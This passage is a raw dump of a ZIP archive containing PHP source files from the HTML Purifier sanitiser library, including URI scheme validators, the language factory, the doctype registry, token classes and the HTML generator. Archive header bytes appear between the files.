class HTMLPurifier_URIScheme_tel extends HTMLPurifier_URIScheme
{
/**
* @type bool
*/
public $browsable = false;
/**
* @type bool
*/
public $may_omit_host = true;
/**
* @param HTMLPurifier_URI $uri
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function doValidate(&$uri, $config, $context)
{
$uri->userinfo = null;
$uri->host = null;
$uri->port = null;
// Delete all non-numeric characters, non-x characters
// from phone number, EXCEPT for a leading plus sign.
$uri->path = preg_replace('/(?!^\+)[^\dx]/', '',
// Normalize e(x)tension to lower-case
str_replace('X', 'x', $uri->path));
return true;
}
}
// vim: et sw=4 sts=4
PK j�$Zh
�վ � 4 htmlpurifier/library/HTMLPurifier/URIScheme/news.phpnu �[��� <?php
/**
* Validates news (Usenet) as defined by generic RFC 1738
*/
class HTMLPurifier_URIScheme_news extends HTMLPurifier_URIScheme
{
/**
* @type bool
*/
public $browsable = false;
/**
* @type bool
*/
public $may_omit_host = true;
/**
* @param HTMLPurifier_URI $uri
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function doValidate(&$uri, $config, $context)
{
$uri->userinfo = null;
$uri->host = null;
$uri->port = null;
$uri->query = null;
// typecode check needed on path
return true;
}
}
// vim: et sw=4 sts=4
PK j�$Z�4�� � 4 htmlpurifier/library/HTMLPurifier/URIScheme/http.phpnu �[��� <?php
/**
* Validates http (HyperText Transfer Protocol) as defined by RFC 2616
*/
class HTMLPurifier_URIScheme_http extends HTMLPurifier_URIScheme
{
/**
* @type int
*/
public $default_port = 80;
/**
* @type bool
*/
public $browsable = true;
/**
* @type bool
*/
public $hierarchical = true;
/**
* @param HTMLPurifier_URI $uri
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function doValidate(&$uri, $config, $context)
{
$uri->userinfo = null;
return true;
}
}
// vim: et sw=4 sts=4
PK j�$Z<�t t 4 htmlpurifier/library/HTMLPurifier/URIScheme/nntp.phpnu �[��� <?php
/**
* Validates nntp (Network News Transfer Protocol) as defined by generic RFC 1738
*/
class HTMLPurifier_URIScheme_nntp extends HTMLPurifier_URIScheme
{
/**
* @type int
*/
public $default_port = 119;
/**
* @type bool
*/
public $browsable = false;
/**
* @param HTMLPurifier_URI $uri
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function doValidate(&$uri, $config, $context)
{
$uri->userinfo = null;
$uri->query = null;
return true;
}
}
// vim: et sw=4 sts=4
PK j�$Z)(9ln n 3 htmlpurifier/library/HTMLPurifier/URIScheme/ftp.phpnu �[��� <?php
/**
* Validates ftp (File Transfer Protocol) URIs as defined by generic RFC 1738.
*/
class HTMLPurifier_URIScheme_ftp extends HTMLPurifier_URIScheme
{
/**
* @type int
*/
public $default_port = 21;
/**
* @type bool
*/
public $browsable = true; // usually
/**
* @type bool
*/
public $hierarchical = true;
/**
* @param HTMLPurifier_URI $uri
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function doValidate(&$uri, $config, $context)
{
$uri->query = null;
// typecode check
$semicolon_pos = strrpos($uri->path, ';'); // reverse
if ($semicolon_pos !== false) {
$type = substr($uri->path, $semicolon_pos + 1); // no semicolon
$uri->path = substr($uri->path, 0, $semicolon_pos);
$type_ret = '';
if (strpos($type, '=') !== false) {
// figure out whether or not the declaration is correct
list($key, $typecode) = explode('=', $type, 2);
if ($key !== 'type') {
// invalid key, tack it back on encoded
$uri->path .= '%3B' . $type;
} elseif ($typecode === 'a' || $typecode === 'i' || $typecode === 'd') {
$type_ret = ";type=$typecode";
}
} else {
$uri->path .= '%3B' . $type;
}
$uri->path = str_replace(';', '%3B', $uri->path);
$uri->path .= $type_ret;
}
return true;
}
}
// vim: et sw=4 sts=4
PK j�$Z~
~�} } 6 htmlpurifier/library/HTMLPurifier/URIScheme/mailto.phpnu �[��� <?php
// VERY RELAXED! Shouldn't cause problems, not even Firefox checks if the
// email is valid, but be careful!
/**
* Validates mailto (for E-mail) according to RFC 2368
* @todo Validate the email address
* @todo Filter allowed query parameters
*/
class HTMLPurifier_URIScheme_mailto extends HTMLPurifier_URIScheme
{
/**
* @type bool
*/
public $browsable = false;
/**
* @type bool
*/
public $may_omit_host = true;
/**
* @param HTMLPurifier_URI $uri
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function doValidate(&$uri, $config, $context)
{
$uri->userinfo = null;
$uri->host = null;
$uri->port = null;
// we need to validate path against RFC 2368's addr-spec
return true;
}
}
// vim: et sw=4 sts=4
PK j�$Z �"� 4 htmlpurifier/library/HTMLPurifier/URIScheme/data.phpnu �[��� <?php
/**
* Implements data: URI for base64 encoded images supported by GD.
*/
class HTMLPurifier_URIScheme_data extends HTMLPurifier_URIScheme
{
/**
* @type bool
*/
public $browsable = true;
/**
* @type array
*/
public $allowed_types = array(
// you better write validation code for other types if you
// decide to allow them
'image/jpeg' => true,
'image/gif' => true,
'image/png' => true,
);
// this is actually irrelevant since we only write out the path
// component
/**
* @type bool
*/
public $may_omit_host = true;
/**
* @param HTMLPurifier_URI $uri
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function doValidate(&$uri, $config, $context)
{
$result = explode(',', $uri->path, 2);
$is_base64 = false;
$charset = null;
$content_type = null;
if (count($result) == 2) {
list($metadata, $data) = $result;
// do some legwork on the metadata
$metas = explode(';', $metadata);
while (!empty($metas)) {
$cur = array_shift($metas);
if ($cur == 'base64') {
$is_base64 = true;
break;
}
if (substr($cur, 0, 8) == 'charset=') {
// doesn't match if there are arbitrary spaces, but
// whatever dude
if ($charset !== null) {
continue;
} // garbage
$charset = substr($cur, 8); // not used
} else {
if ($content_type !== null) {
continue;
} // garbage
$content_type = $cur;
}
}
} else {
$data = $result[0];
}
if ($content_type !== null && empty($this->allowed_types[$content_type])) {
return false;
}
if ($charset !== null) {
// error; we don't allow plaintext stuff
$charset = null;
}
$data = rawurldecode($data);
if ($is_base64) {
$raw_data = base64_decode($data);
} else {
$raw_data = $data;
}
if ( strlen($raw_data) < 12 ) {
// error; exif_imagetype throws exception with small files,
// and this likely indicates a corrupt URI/failed parse anyway
return false;
}
// XXX probably want to refactor this into a general mechanism
// for filtering arbitrary content types
if (function_exists('sys_get_temp_dir')) {
$file = tempnam(sys_get_temp_dir(), "");
} else {
$file = tempnam("/tmp", "");
}
file_put_contents($file, $raw_data);
if (function_exists('exif_imagetype')) {
$image_code = exif_imagetype($file);
unlink($file);
} elseif (function_exists('getimagesize')) {
set_error_handler(array($this, 'muteErrorHandler'));
$info = getimagesize($file);
restore_error_handler();
unlink($file);
if ($info == false) {
return false;
}
$image_code = $info[2];
} else {
trigger_error("could not find exif_imagetype or getimagesize functions", E_USER_ERROR);
}
$real_content_type = image_type_to_mime_type($image_code);
if ($real_content_type != $content_type) {
// we're nice guys; if the content type is something else we
// support, change it over
if (empty($this->allowed_types[$real_content_type])) {
return false;
}
$content_type = $real_content_type;
}
// ok, it's kosher, rewrite what we need
$uri->userinfo = null;
$uri->host = null;
$uri->port = null;
$uri->fragment = null;
$uri->query = null;
$uri->path = "$content_type;base64," . base64_encode($raw_data);
return true;
}
/**
* @param int $errno
* @param string $errstr
*/
public function muteErrorHandler($errno, $errstr)
{
}
}
PK j�$ZLB�e� � 5 htmlpurifier/library/HTMLPurifier/LanguageFactory.phpnu �[��� <?php
/**
* Class responsible for generating HTMLPurifier_Language objects, managing
* caching and fallbacks.
* @note Thanks to MediaWiki for the general logic, although this version
* has been entirely rewritten
* @todo Serialized cache for languages
*/
class HTMLPurifier_LanguageFactory
{
/**
* Cache of language code information used to load HTMLPurifier_Language objects.
* Structure is: $factory->cache[$language_code][$key] = $value
* @type array
*/
public $cache;
/**
* Valid keys in the HTMLPurifier_Language object. Designates which
* variables to slurp out of a message file.
* @type array
*/
public $keys = array('fallback', 'messages', 'errorNames');
/**
* Instance to validate language codes.
* @type HTMLPurifier_AttrDef_Lang
*
*/
protected $validator;
/**
* Cached copy of dirname(__FILE__), directory of current file without
* trailing slash.
* @type string
*/
protected $dir;
/**
* Keys whose contents are a hash map and can be merged.
* @type array
*/
protected $mergeable_keys_map = array('messages' => true, 'errorNames' => true);
/**
* Keys whose contents are a list and can be merged.
* @value array lookup
*/
protected $mergeable_keys_list = array();
/**
* Retrieve sole instance of the factory.
* @param HTMLPurifier_LanguageFactory $prototype Optional prototype to overload sole instance with,
* or bool true to reset to default factory.
* @return HTMLPurifier_LanguageFactory
*/
public static function instance($prototype = null)
{
static $instance = null;
if ($prototype !== null) {
$instance = $prototype;
} elseif ($instance === null || $prototype == true) {
$instance = new HTMLPurifier_LanguageFactory();
$instance->setup();
}
return $instance;
}
/**
* Sets up the singleton, much like a constructor
* @note Prevents people from getting this outside of the singleton
*/
public function setup()
{
$this->validator = new HTMLPurifier_AttrDef_Lang();
$this->dir = HTMLPURIFIER_PREFIX . '/HTMLPurifier';
}
/**
* Creates a language object, handles class fallbacks
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @param bool|string $code Code to override configuration with. Private parameter.
* @return HTMLPurifier_Language
*/
public function create($config, $context, $code = false)
{
// validate language code
if ($code === false) {
$code = $this->validator->validate(
$config->get('Core.Language'),
$config,
$context
);
} else {
$code = $this->validator->validate($code, $config, $context);
}
if ($code === false) {
$code = 'en'; // malformed code becomes English
}
$pcode = str_replace('-', '_', $code); // make valid PHP classname
static $depth = 0; // recursion protection
if ($code == 'en') {
$lang = new HTMLPurifier_Language($config, $context);
} else {
$class = 'HTMLPurifier_Language_' . $pcode;
$file = $this->dir . '/Language/classes/' . $code . '.php';
if (file_exists($file) || class_exists($class, false)) {
$lang = new $class($config, $context);
} else {
// Go fallback
$raw_fallback = $this->getFallbackFor($code);
$fallback = $raw_fallback ? $raw_fallback : 'en';
$depth++;
$lang = $this->create($config, $context, $fallback);
if (!$raw_fallback) {
$lang->error = true;
}
$depth--;
}
}
$lang->code = $code;
return $lang;
}
/**
* Returns the fallback language for language
* @note Loads the original language into cache
* @param string $code language code
* @return string|bool
*/
public function getFallbackFor($code)
{
$this->loadLanguage($code);
return $this->cache[$code]['fallback'];
}
/**
* Loads language into the cache, handles message file and fallbacks
* @param string $code language code
*/
public function loadLanguage($code)
{
static $languages_seen = array(); // recursion guard
// abort if we've already loaded it
if (isset($this->cache[$code])) {
return;
}
// generate filename
$filename = $this->dir . '/Language/messages/' . $code . '.php';
// default fallback : may be overwritten by the ensuing include
$fallback = ($code != 'en') ? 'en' : false;
// load primary localisation
if (!file_exists($filename)) {
// skip the include: will rely solely on fallback
$filename = $this->dir . '/Language/messages/en.php';
$cache = array();
} else {
include $filename;
$cache = compact($this->keys);
}
// load fallback localisation
if (!empty($fallback)) {
// infinite recursion guard
if (isset($languages_seen[$code])) {
trigger_error(
'Circular fallback reference in language ' .
$code,
E_USER_ERROR
);
$fallback = 'en';
}
$language_seen[$code] = true;
// load the fallback recursively
$this->loadLanguage($fallback);
$fallback_cache = $this->cache[$fallback];
// merge fallback with current language
foreach ($this->keys as $key) {
if (isset($cache[$key]) && isset($fallback_cache[$key])) {
if (isset($this->mergeable_keys_map[$key])) {
$cache[$key] = $cache[$key] + $fallback_cache[$key];
} elseif (isset($this->mergeable_keys_list[$key])) {
$cache[$key] = array_merge($fallback_cache[$key], $cache[$key]);
}
} else {
$cache[$key] = $fallback_cache[$key];
}
}
}
// save to cache for later retrieval
$this->cache[$code] = $cache;
return;
}
}
// vim: et sw=4 sts=4
PK j�$Z��7�i i 7 htmlpurifier/library/HTMLPurifier/URISchemeRegistry.phpnu �[��� <?php
/**
* Registry for retrieving specific URI scheme validator objects.
*/
class HTMLPurifier_URISchemeRegistry
{
/**
* Retrieve sole instance of the registry.
* @param HTMLPurifier_URISchemeRegistry $prototype Optional prototype to overload sole instance with,
* or bool true to reset to default registry.
* @return HTMLPurifier_URISchemeRegistry
* @note Pass a registry object $prototype with a compatible interface and
* the function will copy it and return it all further times.
*/
public static function instance($prototype = null)
{
static $instance = null;
if ($prototype !== null) {
$instance = $prototype;
} elseif ($instance === null || $prototype == true) {
$instance = new HTMLPurifier_URISchemeRegistry();
}
return $instance;
}
/**
* Cache of retrieved schemes.
* @type HTMLPurifier_URIScheme[]
*/
protected $schemes = array();
/**
* Retrieves a scheme validator object
* @param string $scheme String scheme name like http or mailto
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return HTMLPurifier_URIScheme
*/
public function getScheme($scheme, $config, $context)
{
if (!$config) {
$config = HTMLPurifier_Config::createDefault();
}
// important, otherwise attacker could include arbitrary file
$allowed_schemes = $config->get('URI.AllowedSchemes');
if (!$config->get('URI.OverrideAllowedSchemes') &&
!isset($allowed_schemes[$scheme])
) {
return;
}
if (isset($this->schemes[$scheme])) {
return $this->schemes[$scheme];
}
if (!isset($allowed_schemes[$scheme])) {
return;
}
$class = 'HTMLPurifier_URIScheme_' . $scheme;
if (!class_exists($class)) {
return;
}
$this->schemes[$scheme] = new $class();
return $this->schemes[$scheme];
}
/**
* Registers a custom scheme to the cache, bypassing reflection.
* @param string $scheme Scheme name
* @param HTMLPurifier_URIScheme $scheme_obj
*/
public function register($scheme, $scheme_obj)
{
$this->schemes[$scheme] = $scheme_obj;
}
}
// vim: et sw=4 sts=4
PK j�$Z�I� � . htmlpurifier/library/HTMLPurifier/Strategy.phpnu �[��� <?php
/**
* Supertype for classes that define a strategy for modifying/purifying tokens.
*
* While HTMLPurifier's core purpose is fixing HTML into something proper,
* strategies provide plug points for extra configuration or even extra
* features, such as custom tags, custom parsing of text, etc.
*/
abstract class HTMLPurifier_Strategy
{
/**
* Executes the strategy on the tokens.
*
* @param HTMLPurifier_Token[] $tokens Array of HTMLPurifier_Token objects to be operated on.
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return HTMLPurifier_Token[] Processed array of token objects.
*/
abstract public function execute($tokens, $config, $context);
}
// vim: et sw=4 sts=4
PK j�$Z�a�� � 5 htmlpurifier/library/HTMLPurifier/DoctypeRegistry.phpnu �[��� <?php
class HTMLPurifier_DoctypeRegistry
{
/**
* Hash of doctype names to doctype objects.
* @type array
*/
protected $doctypes;
/**
* Lookup table of aliases to real doctype names.
* @type array
*/
protected $aliases;
/**
* Registers a doctype to the registry
* @note Accepts a fully-formed doctype object, or the
* parameters for constructing a doctype object
* @param string $doctype Name of doctype or literal doctype object
* @param bool $xml
* @param array $modules Modules doctype will load
* @param array $tidy_modules Modules doctype will load for certain modes
* @param array $aliases Alias names for doctype
* @param string $dtd_public
* @param string $dtd_system
* @return HTMLPurifier_Doctype Editable registered doctype
*/
public function register(
$doctype,
$xml = true,
$modules = array(),
$tidy_modules = array(),
$aliases = array(),
$dtd_public = null,
$dtd_system = null
) {
if (!is_array($modules)) {
$modules = array($modules);
}
if (!is_array($tidy_modules)) {
$tidy_modules = array($tidy_modules);
}
if (!is_array($aliases)) {
$aliases = array($aliases);
}
if (!is_object($doctype)) {
$doctype = new HTMLPurifier_Doctype(
$doctype,
$xml,
$modules,
$tidy_modules,
$aliases,
$dtd_public,
$dtd_system
);
}
$this->doctypes[$doctype->name] = $doctype;
$name = $doctype->name;
// hookup aliases
foreach ($doctype->aliases as $alias) {
if (isset($this->doctypes[$alias])) {
continue;
}
$this->aliases[$alias] = $name;
}
// remove old aliases
if (isset($this->aliases[$name])) {
unset($this->aliases[$name]);
}
return $doctype;
}
/**
* Retrieves reference to a doctype of a certain name
* @note This function resolves aliases
* @note When possible, use the more fully-featured make()
* @param string $doctype Name of doctype
* @return HTMLPurifier_Doctype Editable doctype object
*/
public function get($doctype)
{
if (isset($this->aliases[$doctype])) {
$doctype = $this->aliases[$doctype];
}
if (!isset($this->doctypes[$doctype])) {
trigger_error('Doctype ' . htmlspecialchars($doctype) . ' does not exist', E_USER_ERROR);
$anon = new HTMLPurifier_Doctype($doctype);
return $anon;
}
return $this->doctypes[$doctype];
}
/**
* Creates a doctype based on a configuration object,
* will perform initialization on the doctype
* @note Use this function to get a copy of doctype that config
* can hold on to (this is necessary in order to tell
* Generator whether or not the current document is XML
* based or not).
* @param HTMLPurifier_Config $config
* @return HTMLPurifier_Doctype
*/
public function make($config)
{
return clone $this->get($this->getDoctypeFromConfig($config));
}
/**
* Retrieves the doctype from the configuration object
* @param HTMLPurifier_Config $config
* @return string
*/
public function getDoctypeFromConfig($config)
{
// recommended test
$doctype = $config->get('HTML.Doctype');
if (!empty($doctype)) {
return $doctype;
}
$doctype = $config->get('HTML.CustomDoctype');
if (!empty($doctype)) {
return $doctype;
}
// backwards-compatibility
if ($config->get('HTML.XHTML')) {
$doctype = 'XHTML 1.0';
} else {
$doctype = 'HTML 4.01';
}
if ($config->get('HTML.Strict')) {
$doctype .= ' Strict';
} else {
$doctype .= ' Transitional';
}
return $doctype;
}
}
// vim: et sw=4 sts=4
PK j�$Z ȏ�a a : htmlpurifier/library/HTMLPurifier/PropertyListIterator.phpnu �[��� <?php
/**
* Property list iterator. Do not instantiate this class directly.
*/
class HTMLPurifier_PropertyListIterator extends FilterIterator
{
/**
* @type int
*/
protected $l;
/**
* @type string
*/
protected $filter;
/**
* @param Iterator $iterator Array of data to iterate over
* @param string $filter Optional prefix to only allow values of
*/
public function __construct(Iterator $iterator, $filter = null)
{
parent::__construct($iterator);
$this->l = strlen($filter);
$this->filter = $filter;
}
/**
* @return bool
*/
public function accept()
{
$key = $this->getInnerIterator()->key();
if (strncmp($key, $this->filter, $this->l) !== 0) {
return false;
}
return true;
}
}
// vim: et sw=4 sts=4
PK j�$Z-C� � + htmlpurifier/library/HTMLPurifier/Token.phpnu �[��� <?php
/**
* Abstract base token class that all others inherit from.
*/
abstract class HTMLPurifier_Token
{
/**
* Line number node was on in source document. Null if unknown.
* @type int
*/
public $line;
/**
* Column of line node was on in source document. Null if unknown.
* @type int
*/
public $col;
/**
* Lookup array of processing that this token is exempt from.
* Currently, valid values are "ValidateAttributes" and
* "MakeWellFormed_TagClosedError"
* @type array
*/
public $armor = array();
/**
* Used during MakeWellFormed. See Note [Injector skips]
* @type
*/
public $skip;
/**
* @type
*/
public $rewind;
/**
* @type
*/
public $carryover;
/**
* @param string $n
* @return null|string
*/
public function __get($n)
{
if ($n === 'type') {
trigger_error('Deprecated type property called; use instanceof', E_USER_NOTICE);
switch (get_class($this)) {
case 'HTMLPurifier_Token_Start':
return 'start';
case 'HTMLPurifier_Token_Empty':
return 'empty';
case 'HTMLPurifier_Token_End':
return 'end';
case 'HTMLPurifier_Token_Text':
return 'text';
case 'HTMLPurifier_Token_Comment':
return 'comment';
default:
return null;
}
}
}
/**
* Sets the position of the token in the source document.
* @param int $l
* @param int $c
*/
public function position($l = null, $c = null)
{
$this->line = $l;
$this->col = $c;
}
/**
* Convenience function for DirectLex settings line/col position.
* @param int $l
* @param int $c
*/
public function rawPosition($l, $c)
{
if ($c === -1) {
$l++;
}
$this->line = $l;
$this->col = $c;
}
/**
* Converts a token into its corresponding node.
*/
abstract public function toNode();
}
// vim: et sw=4 sts=4
PK j�$Z�&(�Q Q 0 htmlpurifier/library/HTMLPurifier/Definition.phpnu �[��� <?php
/**
* Super-class for definition datatype objects, implements serialization
* functions for the class.
*/
abstract class HTMLPurifier_Definition
{
/**
* Has setup() been called yet?
* @type bool
*/
public $setup = false;
/**
* If true, write out the final definition object to the cache after
* setup. This will be true only if all invocations to get a raw
* definition object are also optimized. This does not cause file
* system thrashing because on subsequent calls the cached object
* is used and any writes to the raw definition object are short
* circuited. See enduser-customize.html for the high-level
* picture.
* @type bool
*/
public $optimized = null;
/**
* What type of definition is it?
* @type string
*/
public $type;
/**
* Sets up the definition object into the final form, something
* not done by the constructor
* @param HTMLPurifier_Config $config
*/
abstract protected function doSetup($config);
/**
* Setup function that aborts if already setup
* @param HTMLPurifier_Config $config
*/
public function setup($config)
{
if ($this->setup) {
return;
}
$this->setup = true;
$this->doSetup($config);
}
}
// vim: et sw=4 sts=4
PK j�$Z�� 2 htmlpurifier/library/HTMLPurifier/TokenFactory.phpnu �[��� <?php
/**
* Factory for token generation.
*
* @note Doing some benchmarking indicates that the new operator is much
* slower than the clone operator (even discounting the cost of the
* constructor). This class is for that optimization.
* Other then that, there's not much point as we don't
* maintain parallel HTMLPurifier_Token hierarchies (the main reason why
* you'd want to use an abstract factory).
* @todo Port DirectLex to use this
*/
class HTMLPurifier_TokenFactory
{
// p stands for prototype
/**
* @type HTMLPurifier_Token_Start
*/
private $p_start;
/**
* @type HTMLPurifier_Token_End
*/
private $p_end;
/**
* @type HTMLPurifier_Token_Empty
*/
private $p_empty;
/**
* @type HTMLPurifier_Token_Text
*/
private $p_text;
/**
* @type HTMLPurifier_Token_Comment
*/
private $p_comment;
/**
* Generates blank prototypes for cloning.
*/
public function __construct()
{
$this->p_start = new HTMLPurifier_Token_Start('', array());
$this->p_end = new HTMLPurifier_Token_End('');
$this->p_empty = new HTMLPurifier_Token_Empty('', array());
$this->p_text = new HTMLPurifier_Token_Text('');
$this->p_comment = new HTMLPurifier_Token_Comment('');
}
/**
* Creates a HTMLPurifier_Token_Start.
* @param string $name Tag name
* @param array $attr Associative array of attributes
* @return HTMLPurifier_Token_Start Generated HTMLPurifier_Token_Start
*/
public function createStart($name, $attr = array())
{
$p = clone $this->p_start;
$p->__construct($name, $attr);
return $p;
}
/**
* Creates a HTMLPurifier_Token_End.
* @param string $name Tag name
* @return HTMLPurifier_Token_End Generated HTMLPurifier_Token_End
*/
public function createEnd($name)
{
$p = clone $this->p_end;
$p->__construct($name);
return $p;
}
/**
* Creates a HTMLPurifier_Token_Empty.
* @param string $name Tag name
* @param array $attr Associative array of attributes
* @return HTMLPurifier_Token_Empty Generated HTMLPurifier_Token_Empty
*/
public function createEmpty($name, $attr = array())
{
$p = clone $this->p_empty;
$p->__construct($name, $attr);
return $p;
}
/**
* Creates a HTMLPurifier_Token_Text.
* @param string $data Data of text token
* @return HTMLPurifier_Token_Text Generated HTMLPurifier_Token_Text
*/
public function createText($data)
{
$p = clone $this->p_text;
$p->__construct($data);
return $p;
}
/**
* Creates a HTMLPurifier_Token_Comment.
* @param string $data Data of comment token
* @return HTMLPurifier_Token_Comment Generated HTMLPurifier_Token_Comment
*/
public function createComment($data)
{
$p = clone $this->p_comment;
$p->__construct($data);
return $p;
}
}
// vim: et sw=4 sts=4
PK j�$Z&8�� ( ( / htmlpurifier/library/HTMLPurifier/Generator.phpnu �[��� <?php
/**
* Generates HTML from tokens.
* @todo Refactor interface so that configuration/context is determined
* upon instantiation, no need for messy generateFromTokens() calls
* @todo Make some of the more internal functions protected, and have
* unit tests work around that
*/
class HTMLPurifier_Generator
{
/**
* Whether or not generator should produce XML output.
* @type bool
*/
private $_xhtml = true;
/**
* :HACK: Whether or not generator should comment the insides of <script> tags.
* @type bool
*/
private $_scriptFix = false;
/**
* Cache of HTMLDefinition during HTML output to determine whether or
* not attributes should be minimized.
* @type HTMLPurifier_HTMLDefinition
*/
private $_def;
/**
* Cache of %Output.SortAttr.
* @type bool
*/
private $_sortAttr;
/**
* Cache of %Output.FlashCompat.
* @type bool
*/
private $_flashCompat;
/**
* Cache of %Output.FixInnerHTML.
* @type bool
*/
private $_innerHTMLFix;
/**
* Stack for keeping track of object information when outputting IE
* compatibility code.
* @type array
*/
private $_flashStack = array();
/**
* Configuration for the generator
* @type HTMLPurifier_Config
*/
protected $config;
/**
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
*/
public function __construct($config, $context)
{
$this->config = $config;
$this->_scriptFix = $config->get('Output.CommentScriptContents');
$this->_innerHTMLFix = $config->get('Output.FixInnerHTML');
$this->_sortAttr = $config->get('Output.SortAttr');
$this->_flashCompat = $config->get('Output.FlashCompat');
$this->_def = $config->getHTMLDefinition();
$this->_xhtml = $this->_def->doctype->xml;
}
/**
* Generates HTML from an array of tokens.
* @param HTMLPurifier_Token[] $tokens Array of HTMLPurifier_Token
* @return string Generated HTML
*/
public function generateFromTokens($tokens)
{
if (!$tokens) {
return '';
}
// Basic algorithm
$html = '';
for ($i = 0, $size = count($tokens); $i < $size; $i++) {
if ($this->_scriptFix && $tokens[$i]->name === 'script'
&& $i + 2 < $size && $tokens[$i+2] instanceof HTMLPurifier_Token_End) {
// script special case
// the contents of the script block must be ONE token
// for this to work.
$html .= $this->generateFromToken($tokens[$i++]);
$html .= $this->generateScriptFromToken($tokens[$i++]);
}
$html .= $this->generateFromToken($tokens[$i]);
}
// Tidy cleanup
if (extension_loaded('tidy') && $this->config->get('Output.TidyFormat')) {
$tidy = new Tidy;
$tidy->parseString(
$html,
array(
'indent'=> true,
'output-xhtml' => $this->_xhtml,
'show-body-only' => true,
'indent-spaces' => 2,
'wrap' => 68,
),
'utf8'
);
$tidy->cleanRepair();
$html = (string) $tidy; // explicit cast necessary
}
// Normalize newlines to system defined value
if ($this->config->get('Core.NormalizeNewlines')) {
$nl = $this->config->get('Output.Newline');
if ($nl === null) {
$nl = PHP_EOL;
}
if ($nl !== "\n") {
$html = str_replace("\n", $nl, $html);
}
}
return $html;
}
/**
* Generates HTML from a single token.
* @param HTMLPurifier_Token $token HTMLPurifier_Token object.
* @return string Generated HTML
*/
public function generateFromToken($token)
{
if (!$token instanceof HTMLPurifier_Token) {
trigger_error('Cannot generate HTML from non-HTMLPurifier_Token object', E_USER_WARNING);
return '';
} elseif ($token instanceof HTMLPurifier_Token_Start) {
$attr = $this->generateAttributes($token->attr, $token->name);
if ($this->_flashCompat) {
if ($token->name == "object") {
$flash = new stdClass();
$flash->attr = $token->attr;
$flash->param = array();
$this->_flashStack[] = $flash;
}
}
return '<' . $token->name . ($attr ? ' ' : '') . $attr . '>';
} elseif ($token instanceof HTMLPurifier_Token_End) {
$_extra = '';
if ($this->_flashCompat) {
if ($token->name == "object" && !empty($this->_flashStack)) {
// doesn't do anything for now
}
}
return $_extra . '</' . $token->name . '>';
} elseif ($token instanceof HTMLPurifier_Token_Empty) {
if ($this->_flashCompat && $token->name == "param" && !empty($this->_flashStack)) {
$this->_flashStack[count($this->_flashStack)-1]->param[$token->attr['name']] = $token->attr['value'];
}
$attr = $this->generateAttributes($token->attr, $token->name);
return '<' . $token->name . ($attr ? ' ' : '') . $attr .
( $this->_xhtml ? ' /': '' ) // <br /> v. <br>
. '>';
} elseif ($token instanceof HTMLPurifier_Token_Text) {
return $this->escape($token->data, ENT_NOQUOTES);
} elseif ($token instanceof HTMLPurifier_Token_Comment) {
return '<!--' . $token->data . '-->';
} else {
return '';
}
}
/**
* Special case processor for the contents of script tags
* @param HTMLPurifier_Token $token HTMLPurifier_Token object.
* @return string
* @warning This runs into problems if there's already a literal
* --> somewhere inside the script contents.
*/
public function generateScriptFromToken($token)
{
if (!$token instanceof HTMLPurifier_Token_Text) {
return $this->generateFromToken($token);
}
// Thanks <http://lachy.id.au/log/2005/05/script-comments>
$data = preg_replace('#//\s*$#', '', $token->data);
return '<!--//--><![CDATA[//><!--' . "\n" . trim($data) . "\n" . '//--><!]]>';
}
/**
* Generates attribute declarations from attribute array.
* @note This does not include the leading or trailing space.
* @param array $assoc_array_of_attributes Attribute array
* @param string $element Name of element attributes are for, used to check
* attribute minimization.
* @return string Generated HTML fragment for insertion.
*/
public function generateAttributes($assoc_array_of_attributes, $element = '')
{
$html = '';
if ($this->_sortAttr) {
ksort($assoc_array_of_attributes);
}
foreach ($assoc_array_of_attributes as $key => $value) {
if (!$this->_xhtml) {
// Remove namespaced attributes
if (strpos($key, ':') !== false) {
continue;
}
// Check if we should minimize the attribute: val="val" -> val
if ($element && !empty($this->_def->info[$element]->attr[$key]->minimized)) {
$html .= $key . ' ';
continue;
}
}
// Workaround for Internet Explorer innerHTML bug.
// Essentially, Internet Explorer, when calculating
// innerHTML, omits quotes if there are no instances of
// angled brackets, quotes or spaces. However, when parsing
// HTML (for example, when you assign to innerHTML), it
// treats backticks as quotes. Thus,
// <img alt="``" />
// becomes
// <img alt=`` />
// becomes
// <img alt='' />
// Fortunately, all we need to do is trigger an appropriate
// quoting style, which we do by adding an extra space.
// This also is consistent with the W3C spec, which states
// that user agents may ignore leading or trailing
// whitespace (in fact, most don't, at least for attributes
// like alt, but an extra space at the end is barely
// noticeable). Still, we have a configuration knob for
// this, since this transformation is not necesary if you
// don't process user input with innerHTML or you don't plan
// on supporting Internet Explorer.
if ($this->_innerHTMLFix) {
if (strpos($value, '`') !== false) {
// check if correct quoting style would not already be
// triggered
if (strcspn($value, '"\' <>') === strlen($value)) {
// protect!
$value .= ' ';
}
}
}
$html .= $key.'="'.$this->escape($value).'" ';
}
return rtrim($html);
}
/**
* Escapes raw text data.
* @todo This really ought to be protected, but until we have a facility
* for properly generating HTML here w/o using tokens, it stays
* public.
* @param string $string String data to escape for HTML.
* @param int $quote Quoting style, like htmlspecialchars. ENT_NOQUOTES is
* permissible for non-attribute output.
* @return string escaped data.
*/
public function escape($string, $quote = null)
{
// Workaround for APC bug on Mac Leopard reported by sidepodcast
// http://htmlpurifier.org/phorum/read.php?3,4823,4846
if ($quote === null) {
$quote = ENT_COMPAT;
}
return htmlspecialchars($string, $quote, 'UTF-8');
}
}
// vim: et sw=4 sts=4
PK j�$Z�� #Z Z , htmlpurifier/library/HTMLPurifier/Zipper.phpnu �[��� <?php
/**
* A zipper is a purely-functional data structure which contains
* a focus that can be efficiently manipulated. It is known as
* a "one-hole context". This mutable variant implements a zipper
* for a list as a pair of two arrays, laid out as follows:
*
* Base list: 1 2 3 4 [ ] 6 7 8 9
* Front list: 1 2 3 4
* Back list: 9 8 7 6
*
* User is expected to keep track of the "current element" and properly
* fill it back in as necessary. (ToDo: Maybe it's more user friendly
* to implicitly track the current element?)
*
